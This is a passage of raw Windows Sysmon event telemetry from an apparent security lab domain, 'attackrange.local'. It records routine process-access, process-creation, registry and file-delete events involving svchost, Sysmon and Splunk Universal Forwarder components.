14:51:31.739{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015090Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:31.739{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015089Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:31.739{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015088Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:31.739{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015087Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:31.739{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015086Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:31.739{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015085Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:31.739{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015084Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:31.739{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-70F3-613B-C504-00000000F101}2328C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000015083Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:31.739{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-70F3-613B-C504-00000000F101}2328C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000015082Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:31.740{625C326B-70F3-613B-C504-00000000F101}2328C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 13241300x800000000000000047521Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:51:31.068{7BD73061-65B2-613B-1000-00000000F001}364C:\Windows\system32\svchost.exeHKLM\System\CurrentControlSet\Services\W32Time\Config\LastKnownGoodTimeQWORD (0x01d7a653-0x5777cb93) 23542300x800000000000000047525Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:32.693{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2A8CB68F494965656D5A0F6A908D1BE8,SHA256=1EEC66B05863D8998CB4475D07DBA351D567868444128E39956B42B5C68E3B21,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000015125Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:32.848{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-70F4-613B-C704-00000000F101}2564C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015124Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:32.848{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015123Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:32.848{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015122Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:32.848{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015121Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:32.848{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015120Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:32.848{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015119Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:32.848{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015118Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:32.848{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015117Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:32.848{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015116Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:32.848{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015115Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:32.848{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-70F4-613B-C704-00000000F101}2564C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000015114Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:32.848{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-70F4-613B-C704-00000000F101}2564C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000015113Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:32.853{625C326B-70F4-613B-C704-00000000F101}2564C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000015112Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:32.755{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=07D3D4154C1EC9CB67BA66D6421C8AE9,SHA256=C6B6B2F3E15AD87523F9F9CAAB1B6B8F0C8EB967B74D54EF0FEB9F483DA5AA32,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015111Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:32.755{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=2E6CD29FBD83FDC4E63C57262B826547,SHA256=524A7FF68277B9AC350C02049DCC5C441BC1657C657B5549188EFF891E58F9B4,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000015110Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:32.536{625C326B-70F4-613B-C604-00000000F101}23962824C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015109Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:32.348{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-70F4-613B-C604-00000000F101}2396C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015108Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 